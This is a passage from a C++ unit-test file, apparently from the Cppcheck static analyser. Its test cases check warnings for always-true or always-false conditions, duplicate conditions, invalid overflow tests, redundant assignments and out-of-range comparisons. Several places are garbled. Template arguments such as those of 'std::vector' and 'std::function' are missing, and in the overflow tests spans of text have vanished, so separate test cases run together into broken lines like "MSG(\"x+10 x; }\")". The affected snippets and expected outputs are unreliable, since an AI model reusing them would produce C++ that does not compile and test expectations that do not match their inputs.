v.end());\\n\"\n \" if(!b && s.size() != 1)\\n\"\n \" return;\\n\"\n \" if(!s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::string s) {\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" s += '\\\\n';\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(std::string& p) {\\n\"\n \" const std::string d{ \\\"abc\\\" };\\n\"\n \" p += d;\\n\"\n \" if(p.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (style) Condition 'p.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int i, FILE* fp) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" s += std::to_string(i);\\n\"\n \" s += \\\"\\\\n\\\";\\n\"\n \" return fwrite(s.c_str(), 1, s.length(), fp) == s.length();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #9148\n \" if (s.empty() || s.size() < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:2:31]: (style) Condition 's.size()<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void bar(std::vector& vv) {\\n\" // #11464\n \" class F {\\n\"\n \" public:\\n\"\n \" F(int, std::vector& lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" private:\\n\"\n \" std::vector& mV;\\n\"\n \" } fi(1, vv);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::vector v;\\n\"\n \" bar(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct F {\\n\"\n \" F(int, std::vector&lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" std::vector& mV;\\n\"\n \"};\\n\"\n \"void g(std::vector& vv) {\\n\"\n \" F(1, vv);\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" g(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueLoop()\n {\n check(\"long foo() {\\n\"\n \" bool bUpdated = false;\\n\"\n \" long Ret{};\\n\"\n \" do {\\n\"\n \" Ret = bar();\\n\"\n \" if (Ret == 0) {\\n\"\n \" if (bUpdated)\\n\"\n \" return 1;\\n\"\n \" bUpdated = true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" bUpdated = false;\\n\"\n \" }\\n\"\n \" while (bUpdated);\\n\"\n \" return Ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo() {\\n\"\n \" bool bFirst = true;\\n\"\n \" do {\\n\"\n \" if (bFirst)\\n\"\n \" bar();\\n\"\n \" if (baz())\\n\"\n \" break; \\n\"\n \" bFirst = false;\\n\"\n \" } while (true);\\n\"\n \" return bFirst;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void * pool = NULL;\\n\"\n \" do {\\n\"\n \" pool = malloc(40);\\n\"\n \" if (dostuff())\\n\"\n \" break;\\n\"\n \" pool = NULL;\\n\"\n \" }\\n\"\n \" while (0);\\n\"\n \" if (pool) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8499\n check(\"void f(void)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < 2; ++i)\\n\"\n \" {\\n\"\n \" for (int j = 0; j < 8; ++j)\\n\"\n \" {\\n\"\n \" if ( (i==0|| i==1)\\n\" // << always true\n \" && (j==0) )\\n\"\n \" {;}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:20] -> [test.cpp:7:27]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10863\n check(\"void f(const int A[], int Len) {\\n\"\n \" if (Len <= 0)\\n\"\n \" return;\\n\"\n \" int I = 0;\\n\"\n \" while (I < Len) {\\n\"\n \" int K = I + 1;\\n\"\n \" for (; K < Len; K++) {\\n\"\n \" if (A[I] != A[K])\\n\"\n \" break;\\n\"\n \" } \\n\"\n \" I = K; \\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11434\n \" const int N = 5;\\n\"\n \" bool a[N];\\n\"\n \" for (int i = 0; i < N; a[i++] = false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8192\n \" for (int i = 0; i > 10; ++i) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Condition 'i>10' is always false\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int i = 1000; i < 20; ++i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Condition 'i<20' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int foo(int foo, int bar, bool baz, bool flag) {\\n\"\n \" if (baz && flag) {\\n\"\n \" do {\\n\"\n \" if (bar==42)\\n\"\n \" return 0;\\n\"\n \" } while (flag);\\n\"\n \" }\\n\"\n \" return foo;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:6:18]: (style) Condition 'flag' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueTryCatch()\n {\n check(\"void g();\\n\"\n \"void f(int x)\\n\"\n \"{\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \" catch(...) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" g();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void h();\\n\"\n \"void f(int x) {\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" catch( ... ) {}\\n\"\n \" }\\n\"\n \" h();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10701\n \" std::string s;\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" s = g();\\n\"\n \" }\\n\"\n \" catch (const Err& err) {}\\n\"\n \" }\\n\"\n \" catch (const std::exception& e) {}\\n\"\n \" if (s != \\\"abc\\\") {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void multiConditionAlwaysTrue() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if (val > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val > 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Condition 'activate' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) Condition 'foo' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6904\n check(\"void f() {\\n\"\n \" const int b[2] = { 1,0 };\\n\"\n \" if(b[1] == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'b[1]==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9878\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && b){;}\\n\"\n \" else if (!a && b){;}\\n\"\n \" else if (!a && !b){;}\\n\"\n \" else {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateCondition() {\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:3:8]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:10]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x != 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" g();\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) { x++; }\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8996\n check(\"void g(int** v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" int* d[] = {&a, &b};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9311\n check(\"struct c {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(struct c* v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" struct c d[] = {{&a}, {&b}};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8993\n check(\"void f(const std::string& x) {\\n\"\n \" auto y = x;\\n\"\n \" if (x.empty()) y = \\\"1\\\";\\n\"\n \" if (y.empty()) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9106\n check(\"struct A {int b;};\\n\"\n \"void f(A a, int c) {\\n\"\n \" if (a.b) a.b = c;\\n\"\n \" if (a.b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void c();\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" c();\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" a = 2;\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:9:14]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" auto g = [&] { b = !a; };\\n\"\n \" if (b)\\n\"\n \" g();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool& a);\\n\"\n \"void f(bool b) {\\n\"\n \" auto h = std::bind(&g, std::ref(b));\\n\"\n \" if (b)\\n\"\n \" h();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *i) {\\n\"\n \" if (*i == 0) {\\n\"\n \" *i = 1;\\n\"\n \" }\\n\"\n \" if (*i == 0) {\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(std::function);\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto x = [&v] { v.push_back(1); };\\n\"\n \" if(v.empty()) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \" if(v.empty())\\n\"\n \" return;\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(const S& s) {\\n\"\n \" int a = 0, b = 0;\\n\"\n \" if (s.i == 0)\\n\"\n \" a = 1;\\n\"\n \" if (s.i == 0)\\n\"\n \" b = 1;\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:13]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"void f(double d) {\\n\" // #12712\n \" if (std::isfinite(d)) {}\\n\"\n \" if (std::isfinite(d)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:22]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #12391\n \"int f(const struct S* a, const struct S* b) {\\n\"\n \" const struct S* p = b;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" return p->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // do not crash\n check(\"void assign(const MMA& other) {\\n\"\n \" if (mPA.cols != other.mPA.cols || mPA.rows != other.mPA.rows)\\n\"\n \" ;\\n\"\n \" if (other.mPA.cols > 0 && other.mPA.rows > 0)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #11202\n \" float f = 0x1.4p+3;\\n\"\n \" if (f > 10.0) {}\\n\"\n \" if (f < 10.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidTestForOverflow() {\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert((p + x) < p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)= p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)>=p'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p > (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p>(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always false. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p <= (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p<=(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(signed int x) {\\n\" // unsigned overflow => don't warn\n \" assert(x + 100U < x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // x + c < x\n\n#define MSG(EXPR, RESULT) \"[test.cpp:1:30]: (warning) Invalid test for overflow '\" EXPR \"'; signed integer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always \" RESULT \". [invalidTestForOverflow]\\n\"\n\n check(\"int f(int x) { return x + 10 > x; }\");\n ASSERT_EQUALS(MSG(\"x+10>x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x+10>=x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x+10 x; }\");\n ASSERT_EQUALS(MSG(\"x-10>x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x-10>=x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x-10 x; }\");\n ASSERT_EQUALS(MSG(\"x+y>x\", \"y>0\"), errout_str());\n\n check(\"int f(int x, int y) { return x + y >= x; }\");\n ASSERT_EQUALS(MSG(\"x+y>=x\", \"y>=0\"), errout_str());\n\n // x - y < x\n check(\"int f(int x, int y) { return x - y < x; }\");\n ASSERT_EQUALS(MSG(\"x-y0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y <= x; }\");\n ASSERT_EQUALS(MSG(\"x-y<=x\", \"y>=0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y > x; }\");\n ASSERT_EQUALS(MSG(\"x-y>x\", \"y<0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y >= x; }\");\n ASSERT_EQUALS(MSG(\"x-y>=x\", \"y<=0\"), errout_str());\n }\n\n void checkConditionIsAlwaysTrueOrFalseInsideIfWhile() {\n check(\"void f() {\\n\"\n \" enum states {A,B,C};\\n\"\n \" const unsigned g_flags = B|C;\\n\"\n \" if(g_flags & A) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) Condition 'g_flags&A' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" if(a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { a--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (style) Condition 'a+1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueFalseInLogicalOperators() {\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = true; if(x||b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(true||b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = false; if(x&&b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(false&&b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9578\n check(\"bool f(const std::string &s) {\\n\"\n \" return s.size()>2U && s[0]=='4' && s[0]=='2';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:35] -> [test.cpp:2:48]: (style) Return value 's[0]=='2'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) { if (i == 1 || 2) {} }\\n\"); // #12487\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Condition 'i==1||2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"enum E { E1 = 1, E2 = 2 };\\n\"\n \"void f(int i) { if (i == E1 || E2) {} }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:29]: (style) Condition 'i==E1||E2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void pointerAdditionResultNotNull() {\n check(\"void f(char *ptr) {\\n\"\n \" if (ptr + 1 != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison is wrong. Result of 'ptr+1' can't be 0 unless there is pointer overflow, and pointer overflow is undefined behaviour. [pointerAdditionResultNotNull]\\n\", errout_str());\n }\n\n void duplicateConditionalAssign() {\n setMultiline();\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The statement 'if (x!=y) x=y' is logically equivalent to 'x=y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y'\\n\"\n \"[test.cpp:2:11]: note: Condition 'x!=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f(int& x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" x = y;\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" b = false;\\n\"\n \" else\\n\"\n \" g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" if (!i)\\n\"\n \" i = 1; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #9406\n \" S() : b(false) {}\\n\"\n \" void f() {\\n\"\n \" if (b) b = true;\\n\"\n \" if (b) b = false;\\n\"\n \" if (!b) b = true;\\n\"\n \" if (!b) b = false;\\n\"\n \" }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: style: The statement 'if (b) b=true' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:4:18]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:4:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:5:13]: style: The statement 'if (b) b=false' is logically equivalent to 'b=false'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:5:18]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:5:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:6:13]: style: The statement 'if (!b) b=true' is logically equivalent to 'b=true'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:6:19]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:6:13]: note: Condition '!b' is redundant\\n\"\n \"[test.cpp:7:13]: style: The statement 'if (!b) b=false' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:7:19]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:7:13]: note: Condition '!b' is redundant\\n\",\n errout_str());\n }\n\n void checkAssignmentInCondition() {\n check(\"void f(std::string s) {\\n\"\n \" if (s=\\\"123\\\"){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Suspicious assignment in condition. Condition 's=\\\"123\\\"' is always true. [assignmentInCondition]\\n\", errout_str());\n\n check(\"void f(std::string *p) {\\n\"\n \" if (p=foo()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(uint32_t u) {\\n\" // #2490\n \" if ((u = 0x00000000) || (u = 0xffffffff)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Condition 'u=0x00000000' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:32]: (style) Condition 'u=0xffffffff' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void compareOutOfTypeRange() {\n const Settings settingsUnix64 = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char* b, int i) {\\n\" // #6372\n \" if (b[i] == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 255) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b == true) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10372\n check(\"void f(signed char x) {\\n\"\n \" if (x == 0xff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(short x) {\\n\"\n \" if (x == 0xffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed short' against value 65535. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0xffffffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long x) {\\n\"\n \" if (x == ~0L) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long long x) {\\n\"\n \" if (x == ~0LL) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" const int i = 0xFFFFFFFF;\\n\"\n \" if (x == i) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c;\\n\"\n \" if ((c = foo()) != -1) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3000000000) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Comparing expression of type 'signed int' against value 3000000000. Condition is always true. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(const signed char i) {\\n\" 